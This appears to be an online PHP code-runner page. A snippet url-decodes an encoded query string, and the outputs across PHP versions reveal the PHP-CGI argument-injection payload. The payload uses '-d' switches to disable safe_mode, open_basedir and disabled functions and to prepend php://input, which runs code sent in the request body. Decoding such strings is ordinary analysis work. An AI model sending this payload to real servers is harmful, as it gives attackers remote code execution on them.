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run code in 300+ PHP versions simultaneously
<?php echo urldecode("%2F%3F%252D%2564%2B%2561%256C%256C%256F%2577%255F%2575%2572%256C%255F%2569%256E%2563%256C%2575%2564%2565%253D%256F%256E%2B%252D%2564%2B%2573%2561%2566%2565%255F%256D%256F%2564%2565%253D%256F%2566%2566%2B%252D%2564%2B%2573%2575%2568%256F%2573%2569%256E%252E%2573%2569%256D%2575%256C%2561%2574%2569%256F%256E%253D%256F%256E%2B%252D%2564%2B%2564%2569%2573%2561%2562%256C%2565%255F%2566%2575%256E%2563%2574%2569%256F%256E%2573%253D%2522%2522%2B%252D%2564%2B%256F%2570%2565%256E%255F%2562%2561%2573%2565%2564%2569%2572%253D%256E%256F%256E%2565%2B%252D%2564%2B%2561%2575%2574%256F%255F%2570%2572%2565%2570%2565%256E%2564%255F%2566%2569%256C%2565%253D%2570%2568%2570%253A%252F%252F%2569%256E%2570%2575%2574%2B%252D%256E ");
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.24 - 5.5.35, 5.6.8 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.4, 8.3.6
/?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E 
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 /?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E 
preferences:
235.33 ms | 402 KiB | 342 Q